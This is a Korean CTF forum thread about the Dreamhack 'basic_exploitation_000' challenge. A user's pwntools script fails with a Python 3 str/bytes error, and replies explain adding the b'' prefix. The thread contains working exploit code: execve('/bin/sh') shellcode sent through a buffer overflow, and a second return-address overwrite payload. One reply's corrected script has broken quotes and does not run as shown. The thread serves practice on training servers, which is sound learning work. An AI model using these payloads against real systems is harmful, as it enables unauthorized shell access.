basic_exploitation_000 문제 질문

from pwn import *

p = remote("host1.dreamhack.games", 15661)

p.recvuntil("buf = (")

buf_address = int(p.recv(10), 16)

code = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

code += "\x80"*106

code += p32(buf_address)

p.send(code)

p.interactive()
파이썬에서 익스플로잇을 할려했습니다. 그러나
"can only concatenate str (not "bytes") to str"와 같이 오류가 떴습니다
참고로 저의 파이썬 버전은 3.x버전대 입니다. 그리고 pip3 install pwntools로 설치했습니다 해결할수 있는 방법을 찿고 있습니다.

#포너블 #basic_exploitation_000 #에러
작성자 정보
답변 3
avatar
Pocas
워게임 고인물

3점대 버전을 사용 중 이시라면 byte type으로 전송해주시면 됩니다.

example) b"dreamhack"
2021.02.02. 08:27
avatar
Pocas
워게임 고인물
from pwn import *

p = remote(“host1.dreamhack.games”, 15661)

p.recvuntil(“buf = (”)

buf_address = int(p.recv(10), 16)

code = b“\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80code += b“\x80*106

code += p32(buf_address)

p.send(code)

p.interactive()

위와 같이 문자열 앞 부분에 b를 붙여주면 됩니다!

2021.02.02. 22:26

변수 선언시 b를 붙여 해당 변수가 bytes 타입이라는 것을 명시해야 합니다.

from pwn import *

r = remote("host3.dreamhack.games", 9957)
shell = 0x4006aa

#### 변수 선언시 b를 붙여야 함 ####
payload = b"A" * 0x38
payload += p64(shell)

r.sendlineafter("Input: ", payload)

r.interactive()
2024.08.05. 20:06
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기